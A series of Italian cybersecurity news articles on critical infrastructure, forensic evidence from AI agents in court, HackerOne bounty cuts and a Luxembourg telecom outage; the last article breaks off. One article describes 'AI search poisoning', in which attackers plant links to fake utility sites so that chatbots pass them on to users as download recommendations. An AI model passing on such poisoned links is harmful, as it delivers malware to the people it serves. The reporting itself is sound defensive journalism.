Giu 09, 2026 Redazione Approfondimenti, In evidenza, Interviste, News, RSS, Scenario, Scenario 0

---

Il nuovo assetto geopolitico mondiale ha messo a nudo una serie di problematiche che sono state trascurate troppo a lungo. In pratica, quello che per anni abbiamo visto accadere nel software, ovvero l’entusiasmo per le nuove feature che andava a coprire la necessità di rendere sicuro il loro utilizzo, si è applicato anche in mille altri settori lontanissimi dal coding. L’esperienza di Alessio Fasano, Country Manager della Southern EMEA Region di FireMon con un passato da CSO in una primaria Telco nazionale, ci offre una prospettiva privilegiata su come l’Europa e l’Italia stiano affrontando queste minacce.

Il conflitto tra Ucraina e Russia ha riacceso i riflettori su vulnerabilità che vanno ben oltre il semplice sabotaggio fisico. Sebbene incidenti come il taglio dei cavi sottomarini nel Mar Rosso rappresentino un rischio concreto di interruzione della connettività, la preoccupazione principale degli esperti riguarda le cosiddette landing station. Questi nodi, dove i cavi approdano e il traffico viene aggregato, sono apparati critici che richiedono una visibilità totale. Il timore non è solo l’assenza di segnale, ma che la rete stessa diventi il veicolo per infiltrazioni profonde nei sistemi informatici aziendali e governativi, sfruttando ogni possibile punto d’accesso tra i cinque domini, dal sottomarino allo spaziale.

Una situazione poco omogenea

La preparazione del sistema Paese rispetto a tali scenari appare oggi variegata, definibile come una situazione a macchia di leopardo. Mentre i settori utility e finanziario hanno mostrato una maggiore maturità, le telecomunicazioni e i trasporti si trovano a gestire una complessità tecnologica e operativa senza precedenti. In questo contesto, le normative europee e nazionali hanno agito come una leva fondamentale per scuotere la consapevolezza dei board. In Italia, il Perimetro di Sicurezza Nazionale Cibernetica ha imposto un primo importante risveglio, passando da una gestione puramente burocratica a implementazioni tecniche reali sui sistemi. Tuttavia, il percorso è ancora lungo e si prevede che la NIS2, il regolamento DORA e l’AI Act spingeranno ulteriormente le aziende verso una postura di sicurezza non più tattica ma strategica, finalizzata alla sovranità digitale europea.

Le Telco stanno cambiando

Un elemento di ulteriore complicazione è rappresentato dalla recente ondata di consolidamento e acquisizioni nel settore Telco. Le operazioni finanziarie che portano alla creazione di “super-telco” generano un’amplificazione della complessità operativa immediata. I tecnici si trovano improvvisamente a gestire un numero di device moltiplicato, dovendo far convivere infrastrutture diverse e proteggere contemporaneamente segmenti corporate e business.

Senza strumenti avanzati di Network Security Policy Management che garantiscano automazione e semplificazione, queste realtà rischiano fermi disastrosi a seguito di attacchi mirati. La difficoltà principale nel risolvere queste inefficienze non è però tecnologica, ma organizzativa: persistono ancora silos invalicabili tra chi gestisce la sicurezza, il networking e le operazioni, con ogni dipartimento impegnato a difendere il proprio status quo invece di collaborare per una visibilità comune.

Il CISO deve evolvere insieme alla situazione

Il superamento di queste barriere è oggi guidato dalla figura del CISO, il cui ruolo è profondamente maturato negli ultimi anni. Grazie alle responsabilità introdotte dalle nuove normative, il responsabile della sicurezza ha finalmente ottenuto un posto al tavolo delle decisioni, sebbene rimangano margini di miglioramento nella segregazione dei compiti e nei riporti gerarchici, che dovrebbero puntare direttamente al CEO per garantire massima efficacia. Il CISO moderno è colui che deve traghettare l’azienda oltre il concetto di resilienza, tipicamente legato alla ridondanza dei sistemi gestita dal COO, per approdare a quello di antifragilità. Essere antifragili significa avere la capacità di reagire all’imprevedibile e di adattarsi velocemente durante una crisi. In un mondo in cui la domanda non è più se si verrà attaccati, ma quando accadrà, la chiave del successo risiede nel training costante, nelle simulazioni in War Room e nella capacità di gestire l’incidente con strumenti che permettano risposte rapide e basate sui dati.

---

• AI Act, Alessio Fasano, antifragilità, cavi sottomarini, CISO, cyber resilience, cybersecurity, DORA, FireMon, geopolitica, gestione del rischio cyber, Infrastrutture critiche, infrastrutture strategiche, landing station, network security policy management, NIS2, Perimetro di Sicurezza Nazionale Cibernetica, resilienza informatica, sicurezza delle reti, sicurezza infrastrutture, sicurezza nazionale, sovranità digitale, telco, Telecomunicazioni

---

---

https://www.securityinfo.it/2026/06/09/infrastrutture-critiche-e-geopolitica-e-lera-dellantifragilita/?utm_source=rss&utm_medium=rss&utm_campaign=infrastrutture-critiche-e-geopolitica-e-lera-dellantifragilita

Il primo contenzioso italiano fondato sull’operato di un agente autonomo non si giocherà soltanto sui log, ma sulla ricostruibilità della chain of delegation. Tradurre la tesi della forensics by design nel quadro della perizia tecnica italiana, fra schema OpenTelemetry GenAI, ricevute hash-chained, Non-Human Identity per-agente e metodologia Daubert-grade, significa anticipare oggi il contraddittorio di domani.

Una scena già reale: l’agente AI come fonte di prova

Un agente AI integrato nei sistemi di una banca approva un bonifico anomalo. Un altro, in una catena di delega multi-livello, modifica un parametro nel gestionale di un’azienda sanitaria. Un terzo, nei processi documentali della pubblica amministrazione, opera firme digitali su atti automatizzati. Nessuno di questi scenari appartiene al futuro: tutti rientrano nei perimetri operativi documentati dagli studi 2025-2026 di Cloud Security Alliance, ENISA e OWASP. Quando una di queste catene si rompe, qualcosa di nuovo entra nel circuito processuale italiano: una fonte di prova non umana, una condotta mediata da sistemi autonomi, una catena decisionale che non coincide più linearmente con l’azione di una persona fisica.

Il problema, per giudici, periti e difensori, non è la quantità di tracce lasciate dall’agente. È la loro tenuta probatoria. Il punto non sarà stabilire soltanto se un agente abbia eseguito un’azione, ma se quell’azione fosse il risultato di una delega umana verificabile, limitata nello scope e conservata in una forma tecnicamente opponibile.

È la sintesi che, alla 14ª Cyber Crime Conference (Roma, 6-7 maggio 2026), il consulente tecnico Cosimo de Pinto (IISFA, ONIF, Tribunale di Roma) ha condensato in una formula destinata a circolare: una risposta plausibile non è ancora una risposta difendibile. Una linea di ricerca che attraversa l’iniziativa OWASP Agentic Security (ASI), i gruppi di lavoro OpenTelemetry GenAI e la prima letteratura forense peer-reviewed sostiene la stessa tesi su scala sistemica: senza un’infrastruttura forense incorporata nel ciclo di vita dei sistemi agentic, l’evidenza digitale non sopravvive al controesame. È il principio del forensics by design: non si raccoglie ex post ciò che il sistema non è stato progettato per produrre ex ante.

Perché la digital forensics classica si incrina

La forensica informatica italiana ha un impianto consolidato. La legge 48/2008 di ratifica della Convenzione di Budapest ha imposto, modificando il codice di rito, che le attività di ispezione, perquisizione e sequestro di sistemi informatici siano condotte con “misure tecniche dirette ad assicurare la conservazione dei dati originali e a impedirne l’alterazione”. L’art. 260 comma 2 c.p.p. prescrive che la copia avvenga “su adeguati supporti, mediante procedura che assicuri la conformità della copia all’originale e la sua immodificabilità”. Sul piano operativo, le norme ISO/IEC 27037:2012, 27041:2015, 27042:2015 e 27043:2015 hanno definito il quadro procedurale: identificazione, raccolta, acquisizione, preservazione, analisi, con catena di custodia continua e impronta crittografica.

Questo apparato presuppone un oggetto stabile. Un disco è uguale a se stesso; una mailbox, un server log, uno snapshot sono riproducibili a parità di input. Un agente AI no. Uno studio empirico di Gruber e Hilgert (arXiv 2604.05589, aprile 2026) ha documentato che l’esecuzione mediata da agente introduce un livello di astrazione e una quantità di non-determinismo assenti nel software a regole: a parità di prompt, di contesto e di stato, lo stesso agente può scegliere un tool diverso, generare un piano differente, produrre un esito divergente.

È in questo punto che si gioca, sul piano forense, la differenza fra indizio operativo e prova: l’output non auditabile orienta l’indagine, ma non regge la contestazione, la ripetizione, la controperizia in dibattimento.

L’effetto sul processo penale italiano si misura su un punto preciso. La dicotomia fra accertamento tecnico ripetibile ex art. 359 c.p.p. e irripetibile ex art. 360 c.p.p. è il cardine procedurale della prova informatica: dal primo dipende la possibilità di operare senza preavviso alle parti; dal secondo discende il contraddittorio anticipato, con avviso al difensore e facoltà di nominare consulente tecnico di parte.

La giurisprudenza, dopo decenni di oscillazione, è arrivata a un punto di sintesi: la copia forense di un disco è atto ripetibile se condotta con metodologie idonee a non alterare l’originale. L’agente agentic, invece, opera per definizione in uno stato esso stesso mutevole. Come ha osservato di recente la dottrina, molti accertamenti sono ora “formalmente ripetibili” e “materialmente irripetibili”: si possono rifare in laboratorio, ma il risultato non sarà identico. È in questo scarto che la perizia su sistemi agentic deve trovare la propria forma.

I quattro pilastri del forensics by design

L’argomento operativo che sta maturando nella comunità tecnica si articola su quattro pilastri convergenti, che giudici e periti dovranno presto saper interrogare.

1. Uno schema comune di evidenza su OpenTelemetry GenAI

OpenTelemetry, standard de facto di osservabilità sostenuto dalla Cloud Native Computing Foundation, ha avviato in aprile 2024 un Special Interest Group dedicato alle convenzioni semantiche per GenAI. La specifica (status Development, versione 1.41.0 al maggio 2026) definisce uno schema unificato di attributi gen_ai.
per descrivere chiamate ai modelli, esecuzioni di tool, invocazioni di agenti e workflow multi-agente. Le convenzioni OpenTelemetry per agenti prevedono span tipizzati per le operazioni create_agent, invoke_agent, invoke_workflow ed execute_tool, con relazioni che ricostruiscono la gerarchia dell’esecuzione.

Il rilievo forense è immediato. Uno schema condiviso consente al perito di leggere telemetria proveniente da vendor e framework diversi (Google ADK, LiveKit, Spring AI, CrewAI, Microsoft Agent Framework) con una grammatica uniforme. Significa poter porre al sistema le stesse domande indipendentemente da chi l’ha costruito, condizione necessaria perché un accertamento sia metodologicamente confrontabile in dibattimento.

2. Ricevute hash-chained: dalla traccia all’evidenza

La telemetria, da sola, non è prova. Un log è un’asserzione di chi lo emette: può essere manipolato, sostituito, sovrascritto, e nelle architetture cloud condivise spesso non lascia neppure traccia di un’eventuale manomissione. La seconda linea di sviluppo introduce strutture append-only di tipo Merkle per registrare gli eventi del ciclo di vita degli agenti, producendo ricevute concatenate in hash che rendono tamper-evident ogni passo dell’esecuzione. La letteratura più recente sulla Context Lineage Assurance per Non-Human Identity in sistemi multi-agente critici (arXiv 2509.18415) formalizza il principio: ogni evento entra in un registro crittografico verificabile in modo indipendente.

Nel quadro italiano questo strato colma il vuoto che la legge 48/2008 ha lasciato intenzionalmente. La norma prescrive il risultato (conformità all’originale, immodificabilità), non il metodo, e demanda alle best practice il quadro procedurale. Per i sistemi agentic serve un’estensione: le ricevute concatenate operano non sui bit, ma sugli eventi semantici (la decisione di invocare un tool, la delega a un sotto-agente, il consumo di una credenziale). Resta utile, come quadro di partenza, la sintesi sulla legge 48/2008 e standard internazionali già pubblicata da questa rivista.

3. Non-Human Identity per-agente

Il terzo pilastro tocca un nervo che la Cloud Security Alliance ha definito “the defining security gap of the agentic AI era”. In molte implementazioni reali gli agenti operano con account di servizio condivisi, credenziali ereditate dall’utente che li invoca, token OAuth riutilizzati lungo catene di delega. Le rilevazioni Entro Labs H1 2025 stimano un rapporto NHI/identità umane di 144:1 nei contesti cloud-native; un’analisi CSA 2026 registra che oltre il 16% delle organizzazioni non traccia affatto la creazione di identità AI.

L’OWASP Top 10 for Agentic Applications (dicembre 2025), tra i cui co-lead figura John Sotiropoulos (Head of AI Security di Kainos e board member OWASP GenAI Security Project), colloca questo problema all’item ASI03, Identity and Privilege Abuse: catene di delega, credenziali ereditate e attribuzione debole abilitano privilege escalation e confused deputy. Per la prova in giudizio l’attribuzione è il punto di rottura: se cinque agenti hanno operato sotto lo stesso service account, dimostrare chi ha fatto cosa diventa congettura. La direzione tecnica indicata dal framework OWASP va verso la Non-Human Identity per-agente, con credenziali a vita breve, workload attestation runtime e policy legata al singolo task.

4. Metodologia Daubert-grade

Il quarto pilastro è già parzialmente riconosciuto dalla giurisprudenza italiana, ma chiede di essere esteso. La sentenza Cozzini (Cass. pen., Sez. IV, 17 settembre 2010, dep. 13 dicembre 2010, n. 43786) ha portato nel sistema italiano i criteri Daubert (testabilità, sottoposizione a peer review, tasso di errore noto, accettazione nella comunità scientifica), seppur, secondo costante dottrina, come criteri di valutazione e non di pura ammissibilità.

La perizia su un agente AI, per essere Daubert-grade, deve poter rispondere a quesiti operativi: il sistema è stato sottoposto a red-teaming documentato? Esistono protocolli di replay deterministici per ricostruire una decisione passata? Qual è il tasso di errore misurato e su quale base di test? Le procedure di validazione sono pubblicate o oggetto di documentazione tecnica ispezionabile?

Sul versante peritale italiano, la traduzione operativa più asciutta del criterio è stata proposta da de Pinto attraverso la catena di auditabilità a sei anelli: identità del modello (nome, versione, build, commit hash); provenienza dell’input (origine documentata, hash SHA-256); trasformazioni (normalizzazione, tokenizzazione, pulizia); parametri (prompt template, temperatura, Top-p, iperparametri); log di inferenza (timestamp UTC, session id, risorse, chiamate API); output duale, ossia la separazione documentale fra responso grezzo della macchina e interpretazione del consulente.

Se manca anche uno solo degli anelli, la prova si indebolisce: «firma il perito, attesta la macchina, e nessuno dei due può parlare per l’altro». Sulla stessa direttrice si muove la dottrina italiana più aggiornata: Giulio Ubertis, in Perizia, prova scientifica e intelligenza artificiale nel processo penale (in S. Patti, R. Poli, a cura di, La consulenza tecnica d’ufficio, Giappichelli, 2024; anche in Sistema Penale, 2024), sostiene che la perizia, lungi dal restare “prova neutra”, è il presidio attraverso cui garantire un meaningful human control sull’uso giudiziale dell’intelligenza artificiale.

Art. 220 c.p.p. e il perito davanti a un sistema non deterministico

Sul piano interno, l’art. 220 c.p.p. è strumento sufficientemente elastico per assorbire la sfida: la formula “specifiche competenze tecniche, scientifiche o artistiche” ammette, e di fatto già accoglie, la perizia informatica forense. Il problema non è dunque normativo, ma di domanda peritale e di profilo del consulente.

Sul piano del quesito, il magistrato dovrà superare il modello “leggere il log e verificarne l’integrità”. Le domande utili a un agente AI somigliano a quelle di un interrogatorio testimoniale, rivolte però all’infrastruttura, non al modello: chi ha configurato l’autorità dell’agente al tempo dei fatti? Quali dati erano nel suo contesto? I prompt erano statici o dinamici? Esiste un protocollo di replay deterministico? Quali approvazioni umane sono intervenute? Quali guardrail erano attivi?

Un quadro simile è già delineato anche dalla prima trattazione internazionale del tema (Riper, Agentic AI as Evidence, Secretariat-JD Supra, aprile 2026), in cui il “chi”, il “cosa”, il “dove” e il “quando” non risiedono più in una narrativa umana ma sono distribuiti tra file di configurazione, prompt, log e output.

A supporto del quesito peritale è utile una check-list di allerta derivabile dalla relazione di de Pinto, articolata in cinque indicatori: non-determinismo (stesso input, output differenti in assenza di aggiornamenti documentati); overconfidence (score di confidenza prossimi al 100% su dati ambigui o degradati, sintomo di miscalibration); correlazioni spurie (decisioni fondate su feature non causalmente legate alla conclusione, da verificare con tecniche XAI quali SHAP, LIME, Grad-CAM); assenza di logging adeguato (rilevante anche ex art. 12 AI Act per i sistemi ad alto rischio); impossibilità di triangolazione con fonti indipendenti. Quando più di un indicatore si attiva, il quesito peritale deve potersi spingere alle radici metodologiche dell’output, non fermarsi alla sua plausibilità di superficie.

Sul piano del profilo, la perizia su sistemi agentic richiede competenze ibride: informatica forense classica (ISO/IEC 27037 ss., catena di custodia, hashing), telemetria distribuita (OpenTelemetry, tracing), identità e crittografia (NHI, workload attestation, firme Ed25519, attestazioni verificabili), familiarità con modelli linguistici e framework multi-agente. Un profilo oggi raro fra i CTU iscritti: ordini professionali e scuole forensi dovranno aggiornare in tempi rapidi criteri di iscrizione e percorsi formativi.

Resta sullo sfondo l’art. 189 c.p.p. (prove non disciplinate dalla legge), che condiziona l’ammissione delle tecnologie nuove all’idoneità ad assicurare l’accertamento dei fatti e al rispetto della libertà morale della persona. Per l’evidenza agentic, l’idoneità si gioca proprio sui quattro pilastri: senza schema condiviso, ricevute concatenate, identità per-agente e validazione Daubert-grade, la prova rischia di tradursi in udienza in semplice asserzione.

L’AI Act art. 12 come terreno comune europeo

Un secondo livello normativo non potrà essere ignorato. Il Regolamento (UE) 2024/1689 (AI Act), all’art. 12, impone ai sistemi AI ad alto rischio di «consentire a livello tecnico la registrazione automatica degli eventi (“log”) per la durata del ciclo di vita del sistema», con un livello di tracciabilità “adeguato alla finalità prevista”. Per i sistemi ad alto rischio, il quadro applicativo dell’AI Act rende progressivamente centrale l’obbligo di logging previsto dall’art. 12, destinato a diventare un parametro tecnico-giuridico di conformità, fra l’altro nei perimetri della giustizia, delle infrastrutture critiche, dell’occupazione e dei servizi essenziali.

Per chi distribuisce o utilizza agenti AI in ambiti regolati, l’art. 12 trasforma il forensics by design da scelta architetturale in obbligo normativo. La traduzione operativa è in via di codifica nello standard prEN ISO/IEC 24970 (AI system logging), destinato a saldare requisito europeo e prassi tecnica. Per il perito italiano è un argomento di leva forte: l’assenza di log automatici, tracciabilità per-evento e integrità verificabile in un sistema ad alto rischio non è più solo carenza tecnica, ma indizio di non-conformità regolatoria, valutabile ex artt. 192 e 530 c.p.p. nel ragionamento probatorio.

FRE 707 e prospettiva comparata: cosa imparare, cosa evitare

Negli Stati Uniti, l’Advisory Committee on Evidence Rules ha posto in consultazione pubblica, chiusa il 16 febbraio 2026, la proposta di Federal Rule of Evidence 707, che assoggetta la machine-generated evidence offerta senza testimone esperto al medesimo gatekeeping di affidabilità previsto dalla Rule 702 per la prova peritale. Il Bolch Judicial Institute di Duke Law indica un iter di adozione FRE 707 con voto in primavera 2026 ed entrata in vigore prevista a dicembre 2027. Il dibattito ha già prodotto critiche sostanziali: l’AAJ ha chiesto di restringere la formula “machine-generated” alle sole evidenze prodotte da machine learning o AI, per non travolgere geolocalizzazione, videosorveglianza e cartelle cliniche elettroniche.

Per il giurista italiano la FRE 707 è uno specchio utile su tre piani. Primo, rende espresso in un ordinamento di common law ciò che il nostro art. 220 c.p.p. già consente in via interpretativa, ossia la sottoponibilità della prova machine-generated a un controllo peritale di affidabilità. Secondo, conferma che il problema non è circoscritto al deepfake (oggetto separato del progettato emendamento alla Rule 901(c)), ma riguarda l’intera classe degli output algoritmici offerti come prova. Terzo, indica al legislatore italiano una possibile traiettoria di codificazione esplicita, peraltro non urgente: l’impianto vigente (artt. 189, 220, 260, 359-360 c.p.p., legge 48/2008, criteri Cozzini, art. 12 AI Act) appare già capiente, a condizione di essere animato da una prassi peritale all’altezza.

La chain of delegation come nuovo baricentro probatorio

Le convergenze descritte tendono a un punto comune: in un processo riferito all’operato di un agente autonomo, il fulcro non sarà il singolo log dell’azione finale, ma la catena che lega quell’azione a un principio umano. Un protocollo recente, l’Human Delegation Provenance di Helixar (IETF Internet-Draft draft-helixar-hdp-agentic-delegation-00, marzo 2026), prova a rendere verificabile in modo crittografico questa catena: un token HDP vincola un evento di autorizzazione umana a una sessione, registra ciascuna delega come hop firmato in una struttura append-only, e consente la verifica offline con la sola chiave pubblica Ed25519 dell’emittente.

Per il perito, la quaestio non è più solo “quel comando è stato eseguito davvero?” ma “quel comando, in quel punto della catena, era stato legittimamente delegato dall’umano X all’agente Y, con quale scope, in quale finestra temporale?”. Il dato di partenza non è più il bit, ma la prova di delega. Si saldano qui due triangolazioni complementari: quella orizzontale, fra fonti indipendenti, da tempo presidio del metodo forense classico; e quella verticale, lungo la catena di delega, che la natura agentic del sistema impone come ulteriore livello di verifica.

Per la difesa, il rilievo è altrettanto chiaro: senza catena di delega ricostruibile, l’imputabilità rischia di sciogliersi nel non-determinismo del modello, con conseguenze immediate sull’art. 27 della Costituzione e sulla regola del ragionevole dubbio. È la stessa questione che, sul versante dei rischi sistemici, la governance dell’AI agentica discussa da questa testata pone già da tempo.

Indicazioni operative

Quattro direzioni di lavoro chiudono il quadro.

Per la magistratura, il quesito peritale ai sensi dell’art. 220 c.p.p. dovrebbe includere, accanto alla classica acquisizione forensic-grade, la verifica dell’esistenza e dell’integrità delle ricevute concatenate, della tracciabilità conforme alle convenzioni gen_ai.
, della NHI per singolo agente e della disponibilità di un protocollo di replay. In sede di ammissione ex art. 189 c.p.p., la richiesta di documentazione Daubert-grade va resa esplicita, e l’inquadramento ex art. 359 o 360 c.p.p. va deciso valutando la mutevolezza materiale dello stato del sistema, non solo la sua copiabilità formale.

Per periti e CTU, è il momento di integrare nei capitolati le competenze su OpenTelemetry GenAI, NHI governance e crittografia delle ricevute. La catena di custodia, in ambiente agentic, è la catena di delega; i sei anelli di auditabilità ne sono il presidio quotidiano.

Per i progettisti di sistemi agentic destinati a operare in ambiti regolati (sanità, finanza, PA, giustizia), il forensics by design non è un costo opzionale: oltre a costituire requisito di conformità all’art. 12 dell’AI Act, è la condizione perché ogni futuro contenzioso si giochi su prove utilizzabili.

Per il legislatore, la lezione della FRE 707 suggerisce di non legiferare a botta calda. Gli strumenti del codice di rito penale italiano, integrati dai criteri di matrice Daubert e dagli obblighi dell’AI Act, sono capienti; un intervento mirato sarebbe utile sulle modalità di certificazione delle copie di dati agent-generated nell’art. 260 comma 2 c.p.p. e sull’introduzione di un quadro nazionale per la perizia su evidenza agentic, eventualmente in raccordo con il Tavolo permanente sulla giustizia digitale.

Resta una consapevolezza: la prima udienza italiana con un agente autonomo come fonte di prova si avvicina. La domanda non è se accadrà, ma se l’infrastruttura forense sarà pronta a reggere il contraddittorio. Se continueremo a trattare l’evidenza agentic come un semplice problema di logging, la risposta è già scritta: non reggerà.

https://www.ictsecuritymagazine.com/notizie/forensics-by-design-art-220-c-p-p-agente-ai-in-un-tribunale-italiano/

Mag 27, 2026 Giancarlo Calzetta Attacchi, In evidenza, News, RSS, Scenario 0

---

Le campagne di SEO poisoning non sono certo una novità nel panorama cybercriminale. Da decenni gli attaccanti manipolano i motori di ricerca per spingere siti malevoli tra i primi risultati, inducendo gli utenti a scaricare malware credendo di visitare pagine legittime. Ma una nuova campagna analizzata da Microsoft Security Blog mostra un’evoluzione particolarmente interessante del fenomeno: gli attori malevoli stanno iniziando a sfruttare anche i chatbot AI per distribuire malware destinato al cryptomining GPU.

Secondo i ricercatori, gli attaccanti stanno prendendo di mira utenti molto specifici: appassionati hardware, gamer e power user che dispongono di GPU ad alte prestazioni, sistemi ideali per attività di cryptojacking ad alta redditività.

Dalla SEO poisoning ai chatbot AI

La campagna sfrutta una combinazione di tecniche di social engineering e manipolazione algoritmica. Gli utenti cercano online utility popolari come CrystalDiskInfo, HWMonitor, Display Driver Uninstaller o FurMark e vengono indirizzati verso domini controllati dagli attaccanti che imitano i siti ufficiali. La parte più interessante della ricerca riguarda però l’utilizzo dei Large Language Model. Microsoft spiega di aver osservato casi in cui utenti che chiedevano consigli di download a chatbot AI ricevevano link verso domini malevoli inseriti direttamente nelle risposte generate dal modello.

Non si tratta ancora di un attacco strutturato contro gli LLM stessi, ma piuttosto di una forma di “AI search poisoning”, cioè un’estensione della classica SEO poisoning all’interno degli ecosistemi conversazionali basati su AI. Il concetto è semplice ma estremamente efficace: se gli utenti iniziano a sostituire Google con chatbot AI per trovare software e utility, gli attaccanti seguiranno inevitabilmente lo stesso flusso.

Come funziona la catena di infezione

La campagna descritta da Microsoft non punta alla massima diffusione possibile. L’obiettivo sembra essere invece la selezione accurata delle vittime più redditizie. I software impersonati dagli attaccanti sono infatti tutti associati a utenti enthusiast, overclocker o gamer avanzati. Questo consente agli operatori della campagna di aumentare la probabilità di compromettere sistemi dotati di GPU discrete di fascia alta, molto più profittevoli per il mining rispetto ai normali PC consumer.

Secondo l’analisi tecnica, gli utenti vengono indirizzati verso siti clone costruiti per sembrare identici alle pagine ufficiali delle utility più note. Una volta scaricato il software, il payload avvia una catena di infezione che include componenti di persistenza e accesso remoto. Tra gli elementi più preoccupanti figura l’abuso di ScreenConnect, utilizzato per mantenere accesso persistente ai sistemi compromessi. Questo dettaglio è particolarmente rilevante perché suggerisce che la campagna non sia limitata al solo cryptomining. Microsoft sottolinea infatti che gli accessi ottenuti potrebbero essere successivamente sfruttati anche per furto dati, movimenti laterali e distribuzione ransomware. La presenza di strumenti di remote management rende quindi l’infezione potenzialmente molto più pericolosa di un semplice miner GPU.

Il ruolo crescente della SEO poisoning nell’ecosistema malware

La SEO poisoning sta diventando una delle tecniche preferite dai cybercriminali per ottenere accesso iniziale. Secondo ReliaQuest, le rilevazioni di malware collegate a campagne SEO poisoning sono cresciute del 60% in sei mesi tra il 2023 e il 2024. Anche Zscaler aveva già osservato campagne analoghe basate su keyword AI, utilizzate per distribuire malware come Vidar, Lumma e Legion Loader attraverso siti ottimizzati con tecniche Black Hat SEO. La novità è che ora il fenomeno sembra estendersi oltre i motori di ricerca tradizionali, entrando nei flussi conversazionali generati dai chatbot AI: non viene compromessa l’AI in sé, ma il contesto informativo che l’AI utilizza per rispondere agli utenti.

---

---

---

https://www.securityinfo.it/2026/05/27/seo-poisoning-e-chatbot-ai-dirottati-per-un-malware-miner/?utm_source=rss&utm_medium=rss&utm_campaign=seo-poisoning-e-chatbot-ai-dirottati-per-un-malware-miner

Mag 21, 2026 Giancarlo Calzetta In evidenza, Mercato, News, RSS, Scenario 0

---

L’epoca d’oro dei bug bounty potrebbe stare entrando in una nuova fase molto più complessa. HackerOne, una delle piattaforme più importanti al mondo per la segnalazione responsabile di vulnerabilità, ha drasticamente ridotto le ricompense economiche del proprio programma Internet Bug Bounty (IBB), provocando forti reazioni nella comunità dei ricercatori di sicurezza.

Secondo quanto riportato da The Register, i compensi per le vulnerabilità critiche sono stati ridotti di oltre il 75%. Un bug critico che in precedenza poteva valere circa 9.250 dollari viene ora premiato con appena 2.257 dollari. Anche le altre categorie hanno subito ridimensionamenti drastici: le vulnerabilità high severity passano da circa 4.429 a 1.009 dollari, mentre le medium severity scendono da 1.843 a 297 dollari.

Il taglio rappresenta uno dei segnali più evidenti della crisi che sta attraversando il settore del vulnerability research crowdsourced, sempre più travolto da una crescita esplosiva di report generati con l’AI, falsi positivi e attività automatizzate a basso valore.

La rivoluzione AI sta travolgendo i bug bounty

Negli ultimi mesi il mondo dei bug bounty è stato investito da un’ondata senza precedenti di segnalazioni generate o assistite da AI. Secondo diversi operatori del settore, i moderni LLM consentono ormai anche a utenti con competenze offensive limitate di produrre grandi quantità di report apparentemente plausibili, saturando i team di triage e aumentando enormemente il rumore operativo.

Il problema non riguarda solo HackerOne. Secondo Financial Times, alcune piattaforme hanno registrato un aumento quadruplo delle submission nel giro di poche settimane, mentre la percentuale di report realmente validi sarebbe crollata in molti casi sotto il 5%.

Il problema è talmente grave che persino Linus Torvalds ha recentemente definito la mailing list sicurezza del kernel Linux “quasi completamente ingestibile” a causa dell’aumento di report AI-generated.

HackerOne cerca di ridurre il rumore operativo

Il drastico ridimensionamento delle ricompense sembra quindi essere parte di una strategia più ampia. Già ad aprile 2026 HackerOne aveva annunciato la sospensione temporanea delle nuove submission per il programma Internet Bug Bounty, spiegando che il rapporto tra velocità di discovery e capacità di remediation era diventato insostenibile.

Secondo la piattaforma, l’intelligenza artificiale ha “industrializzato” la scoperta delle vulnerabilità molto più rapidamente rispetto alla capacità dei maintainer open source di validare, correggere e distribuire patch. In pratica, l’intero ecosistema dei bug bounty starebbe soffrendo un problema strutturale: trovare vulnerabilità sta diventando sempre più facile, ma gestirle continua a richiedere tempo umano altamente specializzato.

Questo crea un paradosso operativo. Da un lato le piattaforme ricevono volumi enormi di report; dall’altro il valore medio reale delle submission tende a diminuire.

Il rischio di una crisi economica per i ricercatori indipendenti

La riduzione dei payout rischia però di avere conseguenze importanti anche sulla sostenibilità economica del bug hunting indipendente. Negli ultimi dieci anni piattaforme come HackerOne e Bugcrowd hanno contribuito a trasformare il vulnerability research in una vera professione, creando un mercato globale basato sulla disclosure responsabile.

Molti ricercatori hanno costruito carriere interamente basate sui bug bounty, mentre alcune aziende hanno iniziato a utilizzare il crowdsourced testing come alternativa o complemento ai penetration test tradizionali. Secondo vari report di settore, i payout per vulnerabilità critiche nei programmi enterprise possono ancora raggiungere cifre a sei zeri, soprattutto in ambito cloud, crypto e infrastrutture strategiche. Tuttavia il drastico taglio del programma IBB mostra che il modello economico tradizionale potrebbe non essere più sostenibile per alcuni ecosistemi open source.

Il rischio, secondo diversi esperti, è che i ricercatori più qualificati inizino progressivamente ad abbandonare i bounty pubblici meno remunerativi, spostandosi verso altri ambiti.

L’effetto collaterale: meno vulnerabilità divulgate?

Storicamente i bug bounty sono stati considerati uno strumento fondamentale per incentivare la disclosure responsabile. L’idea alla base del modello è relativamente semplice: pagare i ricercatori affinché segnalino vulnerabilità ai vendor invece di venderle a broker, spyware company o gruppi criminali.

Ma il mercato delle vulnerabilità è cambiato enormemente negli ultimi anni. Diversi studi mostrano che il valore economico dei mercati grigi e dei broker zero-day può essere enormemente superiore rispetto ai payout tradizionali dei bug bounty. In alcuni casi vulnerabilità particolarmente critiche possono raggiungere cifre superiori al milione di dollari sui mercati offensivi.

Se i payout pubblici diminuiscono troppo, il rischio teorico è che una parte dei ricercatori inizi a considerare meno conveniente la disclosure responsabile tradizionale. Naturalmente il panorama resta molto più complesso di così. Per molti ricercatori contano anche reputazione, visibilità, riconoscimento professionale e opportunità lavorative future. Tuttavia il fattore economico continua a rappresentare uno dei principali motori dell’intero ecosistema.

---

• AG Security Research, AI cybersecurity, AI slop, bug bounty, bug hunting, bugcrowd, cybersecurity, ethical hacking, HackerOne, HackerOne IBB, open source security, vulnerability disclosure, vulnerability research, Zero-day

---

---

https://www.securityinfo.it/2026/05/21/hackerone-taglia-drasticamente-le-ricompense-dei-bug-bounty/?utm_source=rss&utm_medium=rss&utm_campaign=hackerone-taglia-drasticamente-le-ricompense-dei-bug-bounty

Mag 20, 2026 Giancarlo Calzetta Attacchi, In evidenza, News, RSS 0

---

Un attacco informatico basato su una vulnerabilità sconosciuta nei router enterprise di Huawei avrebbe causato nel 2025 uno dei più gravi incidenti infrastrutturali europei degli ultimi anni, provocando il collasso temporaneo dell’intera rete telecom del Lussemburgo.

Secondo quanto riportato da Recorded Future News, l’incidente avrebbe coinvolto un comportamento non documentato del sistema operativo di rete Huawei VRP, sfruttato tramite traffico malevolo appositamente costruito per mandare in crash i router dell’operatore nazionale POST Luxembourg.

L’attacco, avvenuto il 23 luglio 2025, ha causato un’interruzione completa delle comunicazioni mobili 4G e 5G, della telefonia fissa e persino di parte dei servizi di emergenza nazionali per oltre tre ore.

La vicenda solleva interrogativi particolarmente delicati non solo sul piano tecnico, ma anche su quello della trasparenza nella disclosure delle vulnerabilità critiche che coinvolgono infrastrutture telecom strategiche.

Un blackout nazionale causato da traffico di rete malevolo

